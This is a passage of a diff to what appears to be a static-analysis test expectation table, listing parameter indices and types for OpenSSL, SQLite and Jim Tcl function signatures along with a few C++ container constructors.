ASN1_ITEM *) | | app_http_get_asn1 | 1 | const char * | +| (const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,long,const char *,const ASN1_ITEM *) | | app_http_get_asn1 | 2 | const char * | +| (const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,long,const char *,const ASN1_ITEM *) | | app_http_get_asn1 | 3 | SSL_CTX * | +| (const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,long,const char *,const ASN1_ITEM *) | | app_http_get_asn1 | 4 | const stack_st_CONF_VALUE * | +| (const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,long,const char *,const ASN1_ITEM *) | | app_http_get_asn1 | 5 | long | +| (const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,long,const char *,const ASN1_ITEM *) | | app_http_get_asn1 | 6 | const char * | +| (const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,long,const char *,const ASN1_ITEM *) | | app_http_get_asn1 | 7 | const ASN1_ITEM * | +| (const char *,const char *,const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,const char *,ASN1_VALUE *,const ASN1_ITEM *,const char *,long,const ASN1_ITEM *) | | app_http_post_asn1 | 0 | const char * | +| (const char *,const char *,const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,const char *,ASN1_VALUE *,const ASN1_ITEM *,const char *,long,const ASN1_ITEM *) | | app_http_post_asn1 | 1 | const char * | +| (const char *,const char *,const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,const char *,ASN1_VALUE *,const ASN1_ITEM *,const char *,long,const ASN1_ITEM *) | | app_http_post_asn1 | 2 | const char * | +| (const char *,const char *,const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,const char *,ASN1_VALUE *,const ASN1_ITEM *,const char *,long,const ASN1_ITEM *) | | app_http_post_asn1 | 3 | const char * | +| (const char *,const char *,const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,const char *,ASN1_VALUE *,const ASN1_ITEM *,const char *,long,const ASN1_ITEM *) | | app_http_post_asn1 | 4 | const char * | +| (const char *,const char *,const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,const char *,ASN1_VALUE *,const ASN1_ITEM *,const char *,long,const ASN1_ITEM *) | | app_http_post_asn1 | 5 | SSL_CTX * | +| (const char *,const char *,const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,const char *,ASN1_VALUE *,const ASN1_ITEM *,const char *,long,const ASN1_ITEM *) | | app_http_post_asn1 | 6 | const stack_st_CONF_VALUE * | +| (const char *,const char *,const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,const char *,ASN1_VALUE *,const ASN1_ITEM *,const char *,long,const ASN1_ITEM *) | | app_http_post_asn1 | 7 | const char * | +| (const char *,const char *,const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,const char *,ASN1_VALUE *,const ASN1_ITEM *,const char *,long,const ASN1_ITEM *) | | app_http_post_asn1 | 8 | ASN1_VALUE * | +| (const char *,const char *,const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,const char *,ASN1_VALUE *,const ASN1_ITEM *,const char *,long,const ASN1_ITEM *) | | app_http_post_asn1 | 9 | const ASN1_ITEM * | +| (const char *,const char *,const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,const char *,ASN1_VALUE *,const ASN1_ITEM *,const char *,long,const ASN1_ITEM *) | | app_http_post_asn1 | 10 | const char * | +| (const char *,const char *,const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,const char *,ASN1_VALUE *,const ASN1_ITEM *,const char *,long,const ASN1_ITEM *) | | app_http_post_asn1 | 11 | long | +| (const char *,const char *,const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,const char *,ASN1_VALUE *,const ASN1_ITEM *,const char *,long,const ASN1_ITEM *) | | app_http_post_asn1 | 12 | const ASN1_ITEM * | +| (const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int) | | OSSL_HTTP_open | 0 | const char * | +| (const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int) | | OSSL_HTTP_open | 1 | const char * | +| (const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int) | | OSSL_HTTP_open | 2 | const char * | +| (const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int) | | OSSL_HTTP_open | 3 | const char * | +| (const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int) | | OSSL_HTTP_open | 4 | int | +| (const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int) | | OSSL_HTTP_open | 5 | BIO * | +| (const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int) | | OSSL_HTTP_open | 6 | BIO * | +| (const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int) | | OSSL_HTTP_open | 7 | OSSL_HTTP_bio_cb_t | +| (const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int) | | OSSL_HTTP_open | 8 | void * | +| (const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int) | | OSSL_HTTP_open | 9 | int | +| (const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int) | | OSSL_HTTP_open | 10 | int | +| (const char *,const char *,const char *,int) | | OSSL_HTTP_adapt_proxy | 0 | const char * | +| (const char *,const char *,const char *,int) | | OSSL_HTTP_adapt_proxy | 1 | const char * | +| (const char *,const char *,const char *,int) | | OSSL_HTTP_adapt_proxy | 2 | const char * | +| (const char *,const char *,const char *,int) | | OSSL_HTTP_adapt_proxy | 3 | int | +| (const char *,const char *,int) | | CRYPTO_strdup | 0 | const char * | +| (const char *,const char *,int) | | CRYPTO_strdup | 1 | const char * | +| (const char *,const char *,int) | | CRYPTO_strdup | 2 | int | +| (const char *,const char *,int) | | sqlite3_strnicmp | 0 | const char * | +| (const char *,const char *,int) | | sqlite3_strnicmp | 1 | const char * | +| (const char *,const char *,int) | | sqlite3_strnicmp | 2 | int | +| (const char *,const char *,int,int,int,int,BIO_ADDRINFO **) | | BIO_lookup_ex | 0 | const char * | +| (const char *,const char *,int,int,int,int,BIO_ADDRINFO **) | | BIO_lookup_ex | 1 | const char * | +| (const char *,const char *,int,int,int,int,BIO_ADDRINFO **) | | BIO_lookup_ex | 2 | int | +| (const char *,const char *,int,int,int,int,BIO_ADDRINFO **) | | BIO_lookup_ex | 3 | int | +| (const char *,const char *,int,int,int,int,BIO_ADDRINFO **) | | BIO_lookup_ex | 4 | int | +| (const char *,const char *,int,int,int,int,BIO_ADDRINFO **) | | BIO_lookup_ex | 5 | int | +| (const char *,const char *,int,int,int,int,BIO_ADDRINFO **) | | BIO_lookup_ex | 6 | BIO_ADDRINFO ** | +| (const char *,const char *,size_t) | | OPENSSL_strncasecmp | 0 | const char * | +| (const char *,const char *,size_t) | | OPENSSL_strncasecmp | 1 | const char * | +| (const char *,const char *,size_t) | | OPENSSL_strncasecmp | 2 | size_t | +| (const char *,const char *,stack_st_CONF_VALUE **) | | X509V3_add_value | 0 | const char * | +| (const char *,const char *,stack_st_CONF_VALUE **) | | X509V3_add_value | 1 | const char * | +| (const char *,const char *,stack_st_CONF_VALUE **) | | X509V3_add_value | 2 | stack_st_CONF_VALUE ** | +| (const char *,const char *,unsigned int) | | sqlite3_strlike | 0 | const char * | +| (const char *,const char *,unsigned int) | | sqlite3_strlike | 1 | const char * | +| (const char *,const char *,unsigned int) | | sqlite3_strlike | 2 | unsigned int | +| (const char *,const size_t,unsigned int *,unsigned int *) | | ossl_punycode_decode | 0 | const char * | +| (const char *,const size_t,unsigned int *,unsigned int *) | | ossl_punycode_decode | 1 | const size_t | +| (const char *,const size_t,unsigned int *,unsigned int *) | | ossl_punycode_decode | 2 | unsigned int * | +| (const char *,const size_t,unsigned int *,unsigned int *) | | ossl_punycode_decode | 3 | unsigned int * | +| (const char *,const unsigned char *,size_t,stack_st_CONF_VALUE **) | | x509v3_add_len_value_uchar | 0 | const char * | +| (const char *,const unsigned char *,size_t,stack_st_CONF_VALUE **) | | x509v3_add_len_value_uchar | 1 | const unsigned char * | +| (const char *,const unsigned char *,size_t,stack_st_CONF_VALUE **) | | x509v3_add_len_value_uchar | 2 | size_t | +| (const char *,const unsigned char *,size_t,stack_st_CONF_VALUE **) | | x509v3_add_len_value_uchar | 3 | stack_st_CONF_VALUE ** | +| (const char *,const unsigned char *,stack_st_CONF_VALUE **) | | X509V3_add_value_uchar | 0 | const char * | +| (const char *,const unsigned char *,stack_st_CONF_VALUE **) | | X509V3_add_value_uchar | 1 | const unsigned char * | +| (const char *,const unsigned char *,stack_st_CONF_VALUE **) | | X509V3_add_value_uchar | 2 | stack_st_CONF_VALUE ** | +| (const char *,double *) | | Jim_StringToDouble | 0 | const char * | +| (const char *,double *) | | Jim_StringToDouble | 1 | double * | +| (const char *,double *) | | OSSL_PARAM_construct_double | 0 | const char * | +| (const char *,double *) | | OSSL_PARAM_construct_double | 1 | double * | +| (const char *,int32_t *) | | OSSL_PARAM_construct_int32 | 0 | const char * | +| (const char *,int32_t *) | | OSSL_PARAM_construct_int32 | 1 | int32_t * | +| (const char *,int64_t *) | | OSSL_PARAM_construct_int64 | 0 | const char * | +| (const char *,int64_t *) | | OSSL_PARAM_construct_int64 | 1 | int64_t * | +| (const char *,int *) | | OSSL_PARAM_construct_int | 0 | const char * | +| (const char *,int *) | | OSSL_PARAM_construct_int | 1 | int * | +| (const char *,int *) | | opt_int | 0 | const char * | +| (const char *,int *) | | opt_int | 1 | int * | +| (const char *,int *,char **,char **,char **,int *,char **,char **,char **) | | OSSL_HTTP_parse_url | 0 | const char * | +| (const char *,int *,char **,char **,char **,int *,char **,char **,char **) | | OSSL_HTTP_parse_url | 1 | int * | +| (const char *,int *,char **,char **,char **,int *,char **,char **,char **) | | OSSL_HTTP_parse_url | 2 | char ** | +| (const char *,int *,char **,char **,char **,int *,char **,char **,char **) | | OSSL_HTTP_parse_url | 3 | char ** | +| (const char *,int *,char **,char **,char **,int *,char **,char **,char **) | | OSSL_HTTP_parse_url | 4 | char ** | +| (const char *,int *,char **,char **,char **,int *,char **,char **,char **) | | OSSL_HTTP_parse_url | 5 | int * | +| (const char *,int *,char **,char **,char **,int *,char **,char **,char **) | | OSSL_HTTP_parse_url | 6 | char ** | +| (const char *,int *,char **,char **,char **,int *,char **,char **,char **) | | OSSL_HTTP_parse_url | 7 | char ** | +| (const char *,int *,char **,char **,char **,int *,char **,char **,char **) | | OSSL_HTTP_parse_url | 8 | char ** | +| (const char *,int) | | DH_meth_new | 0 | const char * | +| (const char *,int) | | DH_meth_new | 1 | int | +| (const char *,int) | | DSA_meth_new | 0 | const char * | +| (const char *,int) | | DSA_meth_new | 1 | int | +| (const char *,int) | | Jim_StrDupLen | 0 | const char * | +| (const char *,int) | | Jim_StrDupLen | 1 | int | +| (const char *,int) | | NETSCAPE_SPKI_b64_decode | 0 | const char * | +| (const char *,int) | | NETSCAPE_SPKI_b64_decode | 1 | int | +| (const char *,int) | | RSA_meth_new | 0 | const char * | +| (const char *,int) | | RSA_meth_new | 1 | int | +| (const char *,int) | | parse_yesno | 0 | const char * | +| (const char *,int) | | parse_yesno | 1 | int | +| (const char *,int,PKCS8_PRIV_KEY_INFO *,X509_ALGOR *) | | PKCS8_set0_pbe | 0 | const char * | +| (const char *,int,PKCS8_PRIV_KEY_INFO *,X509_ALGOR *) | | PKCS8_set0_pbe | 1 | int | +| (const char *,int,PKCS8_PRIV_KEY_INFO *,X509_ALGOR *) | | PKCS8_set0_pbe | 2 | PKCS8_PRIV_KEY_INFO * | +| (const char *,int,PKCS8_PRIV_KEY_INFO *,X509_ALGOR *) | | PKCS8_set0_pbe | 3 | X509_ALGOR * | +| (const char *,int,PKCS8_PRIV_KEY_INFO *,X509_ALGOR *,OSSL_LIB_CTX *,const char *) | | PKCS8_set0_pbe_ex | 0 | const char * | +| (const char *,int,PKCS8_PRIV_KEY_INFO *,X509_ALGOR *,OSSL_LIB_CTX *,const char *) | | PKCS8_set0_pbe_ex | 1 | int | +| (const char *,int,PKCS8_PRIV_KEY_INFO *,X509_ALGOR *,OSSL_LIB_CTX *,const char *) | | PKCS8_set0_pbe_ex | 2 | PKCS8_PRIV_KEY_INFO * | +| (const char *,int,PKCS8_PRIV_KEY_INFO *,X509_ALGOR *,OSSL_LIB_CTX *,const char *) | | PKCS8_set0_pbe_ex | 3 | X509_ALGOR * | +| (const char *,int,PKCS8_PRIV_KEY_INFO *,X509_ALGOR *,OSSL_LIB_CTX *,const char *) | | PKCS8_set0_pbe_ex | 4 | OSSL_LIB_CTX * | +| (const char *,int,PKCS8_PRIV_KEY_INFO *,X509_ALGOR *,OSSL_LIB_CTX *,const char *) | | PKCS8_set0_pbe_ex | 5 | const char * | +| (const char *,int,int,..(*)(..),void *) | | CONF_parse_list | 0 | const char * | +| (const char *,int,int,..(*)(..),void *) | | CONF_parse_list | 1 | int | +| (const char *,int,int,..(*)(..),void *) | | CONF_parse_list | 2 | int | +| (const char *,int,int,..(*)(..),void *) | | CONF_parse_list | 3 | ..(*)(..) | +| (const char *,int,int,..(*)(..),void *) | | CONF_parse_list | 4 | void * | +| (const char *,int,int,const char *,const char *,int,EVP_PKEY **,EVP_PKEY **,EVP_PKEY **,X509 **,stack_st_X509 **,X509_CRL **,stack_st_X509_CRL **) | | load_key_certs_crls | 0 | const char * | +| (const char *,int,int,const char *,const char *,int,EVP_PKEY **,EVP_PKEY **,EVP_PKEY **,X509 **,stack_st_X509 **,X509_CRL **,stack_st_X509_CRL **) | | load_key_certs_crls | 1 | int | +| (const char *,int,int,const char *,const char *,int,EVP_PKEY **,EVP_PKEY **,EVP_PKEY **,X509 **,stack_st_X509 **,X509_CRL **,stack_st_X509_CRL **) | | load_key_certs_crls | 2 | int | +| (const char *,int,int,const char *,const char *,int,EVP_PKEY **,EVP_PKEY **,EVP_PKEY **,X509 **,stack_st_X509 **,X509_CRL **,stack_st_X509_CRL **) | | load_key_certs_crls | 3 | const char * | +| (const char *,int,int,const char *,const char *,int,EVP_PKEY **,EVP_PKEY **,EVP_PKEY **,X509 **,stack_st_X509 **,X509_CRL **,stack_st_X509_CRL **) | | load_key_certs_crls | 4 | const char * | +| (const char *,int,int,const char *,const char *,int,EVP_PKEY **,EVP_PKEY **,EVP_PKEY **,X509 **,stack_st_X509 **,X509_CRL **,stack_st_X509_CRL **) | | load_key_certs_crls | 5 | int | +| (const char *,int,int,const char *,const char *,int,EVP_PKEY **,EVP_PKEY **,EVP_PKEY **,X509 **,stack_st_X509 **,X509_CRL **,stack_st_X509_CRL **) | | load_key_certs_crls | 6 | EVP_PKEY ** | +| (const char *,int,int,const char *,const char *,int,EVP_PKEY **,EVP_PKEY **,EVP_PKEY **,X509 **,stack_st_X509 **,X509_CRL **,stack_st_X509_CRL **) | | load_key_certs_crls | 7 | EVP_PKEY ** | +| (const char *,int,int,const char *,const char *,int,EVP_PKEY **,EVP_PKEY **,EVP_PKEY **,X509 **,stack_st_X509 **,X509_CRL **,stack_st_X509_CRL **) | | load_key_certs_crls | 8 | EVP_PKEY ** | +| (const char *,int,int,const char *,const char *,int,EVP_PKEY **,EVP_PKEY **,EVP_PKEY **,X509 **,stack_st_X509 **,X509_CRL **,stack_st_X509_CRL **) | | load_key_certs_crls | 9 | X509 ** | +| (const char *,int,int,const char *,const char *,int,EVP_PKEY **,EVP_PKEY **,EVP_PKEY **,X509 **,stack_st_X509 **,X509_CRL **,stack_st_X509_CRL **) | | load_key_certs_crls | 10 | stack_st_X509 ** | +| (const char *,int,int,const char *,const char *,int,EVP_PKEY **,EVP_PKEY **,EVP_PKEY **,X509 **,stack_st_X509 **,X509_CRL **,stack_st_X509_CRL **) | | load_key_certs_crls | 11 | X509_CRL ** | +| (const char *,int,int,const char *,const char *,int,EVP_PKEY **,EVP_PKEY **,EVP_PKEY **,X509 **,stack_st_X509 **,X509_CRL **,stack_st_X509_CRL **) | | load_key_certs_crls | 12 | stack_st_X509_CRL ** | +| (const char *,int,int,int) | | append_str | 0 | const char * | +| (const char *,int,int,int) | | append_str | 1 | int | +| (const char *,int,int,int) | | append_str | 2 | int | +| (const char *,int,int,int) | | append_str | 3 | int | +| (const char *,int,long) | | zSkipValidUtf8 | 0 | const char * | +| (const char *,int,long) | | zSkipValidUtf8 | 1 | int | +| (const char *,int,long) | | zSkipValidUtf8 | 2 | long | +| (const char *,int,stack_st_CONF_VALUE **) | | X509V3_add_value_bool | 0 | const char * | +| (const char *,int,stack_st_CONF_VALUE **) | | X509V3_add_value_bool | 1 | int | +| (const char *,int,stack_st_CONF_VALUE **) | | X509V3_add_value_bool | 2 | stack_st_CONF_VALUE ** | +| (const char *,int,stack_st_CONF_VALUE **) | | X509V3_add_value_bool_nf | 0 | const char * | +| (const char *,int,stack_st_CONF_VALUE **) | | X509V3_add_value_bool_nf | 1 | int | +| (const char *,int,stack_st_CONF_VALUE **) | | X509V3_add_value_bool_nf | 2 | stack_st_CONF_VALUE ** | +| (const char *,int,stack_st_OPENSSL_STRING *,const char *) | | load_csr_autofmt | 0 | const char * | +| (const char *,int,stack_st_OPENSSL_STRING *,const char *) | | load_csr_autofmt | 1 | int | +| (const char *,int,stack_st_OPENSSL_STRING *,const char *) | | load_csr_autofmt | 2 | stack_st_OPENSSL_STRING * | +| (const char *,int,stack_st_OPENSSL_STRING *,const char *) | | load_csr_autofmt | 3 | const char * | +| (const char *,int,stack_st_X509 **,const char *,const char *) | | load_certs | 0 | const char * | +| (const char *,int,stack_st_X509 **,const char *,const char *) | | load_certs | 1 | int | +| (const char *,int,stack_st_X509 **,const char *,const char *) | | load_certs | 2 | stack_st_X509 ** | +| (const char *,int,stack_st_X509 **,const char *,const char *) | | load_certs | 3 | const char * | +| (const char *,int,stack_st_X509 **,const char *,const char *) | | load_certs | 4 | const char * | +| (const char *,int,unsigned char **,int *) | | OPENSSL_asc2uni | 0 | const char * | +| (const char *,int,unsigned char **,int *) | | OPENSSL_asc2uni | 1 | int | +| (const char *,int,unsigned char **,int *) | | OPENSSL_asc2uni | 2 | unsigned char ** | +| (const char *,int,unsigned char **,int *) | | OPENSSL_asc2uni | 3 | int * | +| (const char *,int,unsigned char **,int *) | | OPENSSL_utf82uni | 0 | const char * | +| (const char *,int,unsigned char **,int *) | | OPENSSL_utf82uni | 1 | int | +| (const char *,int,unsigned char **,int *) | | OPENSSL_utf82uni | 2 | unsigned char ** | +| (const char *,int,unsigned char **,int *) | | OPENSSL_utf82uni | 3 | int * | +| (const char *,long *) | | OSSL_PARAM_construct_long | 0 | const char * | +| (const char *,long *) | | OSSL_PARAM_construct_long | 1 | long * | +| (const char *,long *) | | opt_long | 0 | const char * | +| (const char *,long *) | | opt_long | 1 | long * | +| (const char *,long *,char *) | | OCSP_crlID_new | 0 | const char * | +| (const char *,long *,char *) | | OCSP_crlID_new | 1 | long * | +| (const char *,long *,char *) | | OCSP_crlID_new | 2 | char * | +| (const char *,long *,int) | | Jim_StringToWide | 0 | const char * | +| (const char *,long *,int) | | Jim_StringToWide | 1 | long * | +| (const char *,long *,int) | | Jim_StringToWide | 2 | int | +| (const char *,size_t *) | | OSSL_PARAM_construct_size_t | 0 | const char * | +| (const char *,size_t *) | | OSSL_PARAM_construct_size_t | 1 | size_t * | +| (const char *,size_t) | | OPENSSL_strnlen | 0 | const char * | +| (const char *,size_t) | | OPENSSL_strnlen | 1 | size_t | +| (const char *,size_t,const char *,int) | | CRYPTO_strndup | 0 | const char * | +| (const char *,size_t,const char *,int) | | CRYPTO_strndup | 1 | size_t | +| (const char *,size_t,const char *,int) | | CRYPTO_strndup | 2 | const char * | +| (const char *,size_t,const char *,int) | | CRYPTO_strndup | 3 | int | +| (const char *,sqlite3 **,int,const char *) | | sqlite3_open_v2 | 0 | const char * | +| (const char *,sqlite3 **,int,const char *) | | sqlite3_open_v2 | 1 | sqlite3 ** | +| (const char *,sqlite3 **,int,const char *) | | sqlite3_open_v2 | 2 | int | +| (const char *,sqlite3 **,int,const char *) | | sqlite3_open_v2 | 3 | const char * | +| (const char *,sqlite3_filename) | | sqlite3_filename_database | 0 | const char * | +| (const char *,sqlite3_filename) | | sqlite3_filename_database | 1 | sqlite3_filename | +| (const char *,sqlite3_filename) | | sqlite3_filename_journal | 0 | const char * | +| (const char *,sqlite3_filename) | | sqlite3_filename_journal | 1 | sqlite3_filename | +| (const char *,sqlite3_filename) | | sqlite3_filename_wal | 0 | const char * | +| (const char *,sqlite3_filename) | | sqlite3_filename_wal | 1 | sqlite3_filename | +| (const char *,sqlite3_filename) | | sqlite3_free_filename | 0 | const char * | +| (const char *,sqlite3_filename) | | sqlite3_free_filename | 1 | sqlite3_filename | +| (const char *,sqlite3_filename,const char *) | | sqlite3_uri_parameter | 0 | const char * | +| (const char *,sqlite3_filename,const char *) | | sqlite3_uri_parameter | 1 | sqlite3_filename | +| (const char *,sqlite3_filename,const char *) | | sqlite3_uri_parameter | 2 | const char * | +| (const char *,sqlite3_filename,const char *,int) | | sqlite3_uri_boolean | 0 | const char * | +| (const char *,sqlite3_filename,const char *,int) | | sqlite3_uri_boolean | 1 | sqlite3_filename | +| (const char *,sqlite3_filename,const char *,int) | | sqlite3_uri_boolean | 2 | const char * | +| (const char *,sqlite3_filename,const char *,int) | | sqlite3_uri_boolean | 3 | int | +| (const char *,sqlite3_filename,const char *,sqlite3_int64) | | sqlite3_uri_int64 | 0 | const char * | +| (const char *,sqlite3_filename,const char *,sqlite3_int64) | | sqlite3_uri_int64 | 1 | sqlite3_filename | +| (const char *,sqlite3_filename,const char *,sqlite3_int64) | | sqlite3_uri_int64 | 2 | const char * | +| (const char *,sqlite3_filename,const char *,sqlite3_int64) | | sqlite3_uri_int64 | 3 | sqlite3_int64 | +| (const char *,sqlite3_filename,int) | | sqlite3_uri_key | 0 | const char * | +| (const char *,sqlite3_filename,int) | | sqlite3_uri_key | 1 | sqlite3_filename | +| (const char *,sqlite3_filename,int) | | sqlite3_uri_key | 2 | int | +| (const char *,stack_st_X509_CRL **,const char *,const char *) | | load_crls | 0 | const char * | +| (const char *,stack_st_X509_CRL **,const char *,const char *) | | load_crls | 1 | stack_st_X509_CRL ** | +| (const char *,stack_st_X509_CRL **,const char *,const char *) | | load_crls | 2 | const char * | +| (const char *,stack_st_X509_CRL **,const char *,const char *) | | load_crls | 3 | const char * | +| (const char *,time_t *) | | OSSL_PARAM_construct_time_t | 0 | const char * | +| (const char *,time_t *) | | OSSL_PARAM_construct_time_t | 1 | time_t * | +| (const char *,uint32_t *) | | OSSL_PARAM_construct_uint32 | 0 | const char * | +| (const char *,uint32_t *) | | OSSL_PARAM_construct_uint32 | 1 | uint32_t * | +| (const char *,uint64_t *) | | OSSL_PARAM_construct_uint64 | 0 | const char * | +| (const char *,uint64_t *) | | OSSL_PARAM_construct_uint64 | 1 | uint64_t * | +| (const char *,unsigned char *,size_t) | | OSSL_PARAM_construct_BN | 0 | const char * | +| (const char *,unsigned char *,size_t) | | OSSL_PARAM_construct_BN | 1 | unsigned char * | +| (const char *,unsigned char *,size_t) | | OSSL_PARAM_construct_BN | 2 | size_t | +| (const char *,unsigned int *) | | OSSL_PARAM_construct_uint | 0 | const char * | +| (const char *,unsigned int *) | | OSSL_PARAM_construct_uint | 1 | unsigned int * | +| (const char *,unsigned long *) | | OSSL_PARAM_construct_ulong | 0 | const char * | +| (const char *,unsigned long *) | | OSSL_PARAM_construct_ulong | 1 | unsigned long * | +| (const char *,unsigned long *) | | opt_ulong | 0 | const char * | +| (const char *,unsigned long *) | | opt_ulong | 1 | unsigned long * | +| (const char *,va_list) | | sqlite3_vmprintf | 0 | const char * | +| (const char *,va_list) | | sqlite3_vmprintf | 1 | va_list | +| (const char *,void *) | | collect_names | 0 | const char * | +| (const char *,void *) | | collect_names | 1 | void * | +| (const char *,void **,size_t) | | OSSL_PARAM_construct_octet_ptr | 0 | const char * | +| (const char *,void **,size_t) | | OSSL_PARAM_construct_octet_ptr | 1 | void ** | +| (const char *,void **,size_t) | | OSSL_PARAM_construct_octet_ptr | 2 | size_t | +| (const char *,void *,size_t) | | OSSL_PARAM_construct_octet_string | 0 | const char * | +| (const char *,void *,size_t) | | OSSL_PARAM_construct_octet_string | 1 | void * | +| (const char *,void *,size_t) | | OSSL_PARAM_construct_octet_string | 2 | size_t | +| (const char *const *,const char *const *) | | name_cmp | 0 | const char *const * | +| (const char *const *,const char *const *) | | name_cmp | 1 | const char *const * | +| (const curve448_point_t) | | ossl_curve448_point_valid | 0 | const curve448_point_t | +| (const custom_ext_methods *,ENDPOINT,unsigned int,size_t *) | | custom_ext_find | 0 | const custom_ext_methods * | +| (const custom_ext_methods *,ENDPOINT,unsigned int,size_t *) | | custom_ext_find | 1 | ENDPOINT | +| (const custom_ext_methods *,ENDPOINT,unsigned int,size_t *) | | custom_ext_find | 2 | unsigned int | +| (const custom_ext_methods *,ENDPOINT,unsigned int,size_t *) | | custom_ext_find | 3 | size_t * | | (const deque &) | deque | deque | 0 | const deque & | | (const deque &,const Allocator &) | deque | deque | 0 | const deque & | | (const deque &,const Allocator &) | deque | deque | 1 | const class:1 & | | (const forward_list &) | forward_list | forward_list | 0 | const forward_list & | | (const forward_list &,const Allocator &) | forward_list | forward_list | 0 | const forward_list & | | (const forward_list &,const Allocator &) | forward_list | forward_list | 1 | const class:1 & | +| (const gf) | | gf_hibit | 0 | const gf | +| (const gf) | | gf_lobit | 0 | const gf | +| (const gf,const gf) | | gf_eq | 0 | const gf | +| (const gf,const gf) | | gf_eq | 1 | const gf | +| (const int[],BIGNUM *) | | BN_GF2m_arr2poly | 0 | const int[] | +| (const int[],BIGNUM *) | | BN_GF2m_arr2poly | 1 | BIGNUM * | +| (const int_dhx942_dh *,unsigned char **) | | i2d_int_dhx | 0 | const int_dhx942_dh * | +| (const int_dhx942_dh *,unsigned char **) | | i2d_int_dhx | 1 | unsigned char ** | | (const list &) | list | list | 0 | const list & | | (const list &,const Allocator &) | list | list | 0 | const list & | | (const list &,const Allocator &) | list | list | 1 | const class:1 & | +| (const sqlite3_value *) | | sqlite3_value_dup | 0 | const sqlite3_value * | +| (const stack_st_SCT *,unsigned char **) | | i2d_SCT_LIST | 0 | const stack_st_SCT * | +| (const stack_st_SCT *,unsigned char **) | | i2d_SCT_LIST | 1 | unsigned char ** | +| (const stack_st_SCT *,unsigned char **) | | i2o_SCT_LIST | 0 | const stack_st_SCT * | +| (const stack_st_SCT *,unsigned char **) | | i2o_SCT_LIST | 1 | unsigned char ** | +| (const stack_st_X509 *) | | OSSL_CMP_ITAV_new_caCerts | 0 | const stack_st_X509 * | +| (const stack_st_X509_ATTRIBUTE *) | | X509at_get_attr_count | 0 | const stack_st_X509_ATTRIBUTE * | +| (const stack_st_X509_ATTRIBUTE *) | | ossl_x509at_dup | 0 | const stack_st_X509_ATTRIBUTE * | +| (const stack_st_X509_ATTRIBUTE *,const ASN1_OBJECT *,int) | | X509at_get_attr_by_OBJ | 0 | const stack_st_X509_ATTRIBUTE * | +| (const stack_st_X509_ATTRIBUTE *,const ASN1_OBJECT *,int) | | X509at_get_attr_by_OBJ | 1 | const ASN1_OBJECT * | +| (const stack_st_X509_ATTRIBUTE *,const ASN1_OBJECT *,int) | | X509at_get_attr_by_OBJ | 2 | int | +| (const stack_st_X509_ATTRIBUTE *,int) | | X509at_get_attr | 0 | const stack_st_X509_ATTRIBUTE * | +| (const stack_st_X509_ATTRIBUTE *,int) | | X509at_get_attr | 1 | int | +| (const stack_st_X509_ATTRIBUTE *,int,int) | | X509at_get_attr_by_NID | 0 | const stack_st_X509_ATTRIBUTE * | +| (const stack_st_X509_ATTRIBUTE *,int,int) | | X509at_get_attr_by_NID | 1 | int | +| (const stack_st_X509_ATTRIBUTE *,int,int) | | X509at_get_attr_by_NID | 2 | int | +| (const stack_st_X509_EXTENSION *) | | X509v3_get_ext_count | 0 | const stack_st_X509_EXTENSION * | +| (const stack_st_X509_EXTENSION *,const ASN1_OBJECT *,int) | | X509v3_get_ext_by_OBJ | 0 | const stack_st_X509_EXTENSION * | +| (const stack_st_X509_EXTENSION *,const ASN1_OBJECT *,int) | | X509v3_get_ext_by_OBJ | 1 | const ASN1_OBJECT * | +| (const stack_st_X509_EXTENSION *,const ASN1_OBJECT *,int) | | X509v3_get_ext_by_OBJ | 2 | int | +| (const stack_st_X509_EXTENSION *,int) | | X509v3_get_ext | 0 | const stack_st_X509_EXTENSION * | +| (const stack_st_X509_EXTENSION *,int) | | X509v3_get_ext | 1 | int | +| (const stack_st_X509_EXTENSION *,int,int *,int *) | | X509V3_get_d2i | 0 | const stack_st_X509_EXTENSION * | +| (const stack_st_X509_EXTENSION *,int,int *,int *) | | X509V3_get_d2i | 1 | int | +| (const stack_st_X509_EXTENSION *,int,int *,int *) | | X509V3_get_d2i | 2 | int * | +| (const stack_st_X509_EXTENSION *,int,int *,int *) | | X509V3_get_d2i | 3 | int * | +| (const stack_st_X509_EXTENSION *,int,int) | | X509v3_get_ext_by_NID | 0 | const stack_st_X509_EXTENSION * | +| (const stack_st_X509_EXTENSION *,int,int) | | X509v3_get_ext_by_NID | 1 | int | +| (const stack_st_X509_EXTENSION 